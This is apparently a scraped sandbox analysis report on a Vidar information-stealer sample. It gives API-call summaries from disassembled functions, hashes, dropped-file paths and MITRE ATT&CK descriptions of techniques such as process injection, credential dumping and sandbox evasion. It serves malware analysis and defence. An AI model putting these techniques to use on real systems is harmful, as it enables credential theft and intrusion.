Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ];l
API String ID: 221937774-932019934
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 9ba40b771924ef4e66579f175d6ff1237eadcf62436c80739060ffad95bd35e8
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: 9FF08273A0051867EF122965AC04AFE36599BA1259F040031FE18E6A41FB32CD258BE2

Function 6C2A6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K-l,?,6C2D4B30,80000000,?,6C2D4AB7,?,6C2943CF,?,6C2942D2), ref: 6C2A6C42

Part of subcall function 6C2ACA10: malloc.MOZGLUE(?), ref: 6C2ACA26

moz_xmalloc.MOZGLUE(0K-l,?,6C2D4B30,80000000,?,6C2D4AB7,?,6C2943CF,?,6C2942D2), ref: 6C2A6C58

Strings

0K-l, xrefs: 6C2A6C33, 6C2A6C41, 6C2A6C57

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K-l
API String ID: 1967447596-3381539328
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: ec868f5329e9c4f760103912cc728cf540e4ffc08d990a95e3d888f731a855cf
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: E4E026F1B6030D2A9B089CFC9C8DA2A71CDCB14BA87044A35EC22C2FC9FB25E4868051

Function 6C3A0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C3A0936,FFFFE8AE,?,6C3316B7,00000000,?,6C3A0936,00000000,?,6C33204A), ref: 6C3A0F1B

Part of subcall function 6C3A1370: GetSystemInfo.KERNEL32(?,?,?,?,6C3A0936,?,6C3A0F20,6C3A0936,FFFFE8AE,?,6C3316B7,00000000,?,6C3A0936,00000000), ref: 6C3A138F

PR_NewLogModule.NSS3(clock,6C3A0936,FFFFE8AE,?,6C3316B7,00000000,?,6C3A0936,00000000,?,6C33204A), ref: 6C3A0F25

Part of subcall function 6C3A1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C3A0936,00000001,00000040), ref: 6C3A1130
Part of subcall function 6C3A1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C3A0936,00000001,00000040), ref: 6C3A1142
Part of subcall function 6C3A1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3A0936,00000001), ref: 6C3A1167

Strings

clock, xrefs: 6C3A0F20

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 555fc3b36f7efce6f6109c91b71e5f6d5eb44b98cbe70a9b9b65f236f22c9deb
Instruction ID: 892e1bdcc71229cc4398e005ec93f88896519fce338f308b8a2e61cc21e26445
Opcode Fuzzy Hash: 555fc3b36f7efce6f6109c91b71e5f6d5eb44b98cbe70a9b9b65f236f22c9deb
Instruction Fuzzy Hash: E8D0223220018499C100A7D79C4AF9AB7ACC7C327AF010926E04C01D00CA2444FBCAAA

Function 6C410DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C410DF5
TlsGetValue.KERNEL32 ref: 6C410E2D
TlsGetValue.KERNEL32 ref: 6C410E58
TlsGetValue.KERNEL32 ref: 6C410E84

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 8b4d84d428f1bd6db8ac32fe0bd33e68613ca0ff91a23c454f171493c9a803af
Instruction ID: d9d85b5654739b60ff43311b2c60fbd4e5cedb17bd154766f0969ad8761d3488
Opcode Fuzzy Hash: 8b4d84d428f1bd6db8ac32fe0bd33e68613ca0ff91a23c454f171493c9a803af
Instruction Fuzzy Hash: 9E31B1706493848FDB00EF79C849E797BA4FF06309F014669D8C9CBE10DB3594A6CB82

Function 6C410F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C3B2AF5,?,?,?,?,?,6C3B0A1B,00000000), ref: 6C410F1A
malloc.MOZGLUE(00000001), ref: 6C410F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C410F42
TlsGetValue.KERNEL32 ref: 6C410F5B

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 41601f2b34e371fd17454aa7ca1fd568d129f35e5e75f4efa90482f6305afad2
Instruction ID: de3aa118dbaab6256494c8c1fb966248fa5b5b6bf7dff892e667d658471a38ce
Opcode Fuzzy Hash: 41601f2b34e371fd17454aa7ca1fd568d129f35e5e75f4efa90482f6305afad2
Instruction Fuzzy Hash: 0E012D71F052845BE710A7398D46F7676ACEF53259B010125EC49C6E21DB71C925C6E3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFCAAEHJDBKJ\AAKEGI

C:\ProgramData\BFCAAEHJDBKJ\CFCFHJ

C:\ProgramData\BFCAAEHJDBKJ\CGDHIE

C:\ProgramData\BFCAAEHJDBKJ\ECFHJK

C:\ProgramData\BFCAAEHJDBKJ\FHDAEH

C:\ProgramData\BFCAAEHJDBKJ\GCAFCA

C:\ProgramData\BFCAAEHJDBKJ\IDGDAA

C:\ProgramData\BFCAAEHJDBKJ\IJKKKF

Windows Analysis Report
a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre